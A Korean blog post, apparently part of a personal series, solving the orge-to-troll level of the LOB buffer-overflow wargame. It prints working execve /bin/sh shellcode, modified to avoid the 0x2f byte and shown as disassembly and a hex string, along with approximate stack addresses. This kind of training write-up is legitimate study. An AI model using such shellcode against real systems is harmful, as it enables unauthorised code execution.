한땀한땀 정성들인 코딩
LOB 문제풀이 일기(8) 본문
주제 |
LOB orge->troll |
소스코드를 보면
argv[1]이 초기화 된다.
버퍼도 초기화 되버려서 쉘코드를 담을 만한곳을 찾아야 된다.
argv[0]에 넣으면 되징 ㅋ
ln으로 링크를 걸어서 argv[0]값에 쉘코드를 담는다.
? troll 파일을 못찾겠단다....모냥
이건 잘만되고....
아씝 . 문자열이 아닌것에 대해 저항
쉘코드 어셈블리어에 저항?
각각 확인 하고 안되면 아스키로 쉘코드를 구성해야 한다.
문자열에 해당하는것은 잘 만들어진다.
쉘코드 때문인가?
nop * 100한것도 잘 만 만들어지는데 ㅡ ,ㅡ
원인찾음!
0x2f의 경우 "/" 문자라 경로(path)가 들어가서 문제다. 딱봐도
0x2f를 지워서 만들자..
00000000 <main>: 0: 31 c0 xor eax,eax 2: 50 push eax 3: 68 01 01 73 68 push 0x68730101 8: 66 81 04 24 2e 2e add WORD PTR [esp],0x2e2e e: 68 01 62 69 6e push 0x6e696201 13: 80 04 24 2e add BYTE PTR [esp],0x2e 17: 89 e3 mov ebx,esp 19: 50 push eax 1a: 89 e2 mov edx,esp 1c: 53 push ebx 1d: 89 e1 mov ecx,esp 1f: b0 0b mov al,0xb 21: cd 80 int 0x80 |
add를 넣어서 만든 쉘코드
"\x31\xc0\x50\x68\x01\x01\x73\x68\x66\x81\x04\x24\x2e\x2e\x68\x01\x62\x69\x6e\x80\x04\x24\x2e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
링크 파일 만들었고 troll2 ret를 찾아보자
대략 0xbffffb1c = ret
argv[0]을 찾자!!!
대략 0xbffffc88 = argv[0]
아니 근데 ret를 찾을 필요는 굳이 없었네 ..
페이로드 공격 !
캬캬 완저 가뿐하 구만!!!!!!!!!!!@@@
'보안 > LOB' 카테고리의 다른 글
LOB 문제풀이 일기(10) (0) | 2021.03.27 |
---|---|
LOB 문제풀이 일기(9) (0) | 2021.03.27 |
LOB 문제풀이 일기(7) (0) | 2021.03.27 |
LOB 문제풀이 일기(6) (0) | 2021.03.27 |
LOB 문제풀이 일기(5) (0) | 2021.03.27 |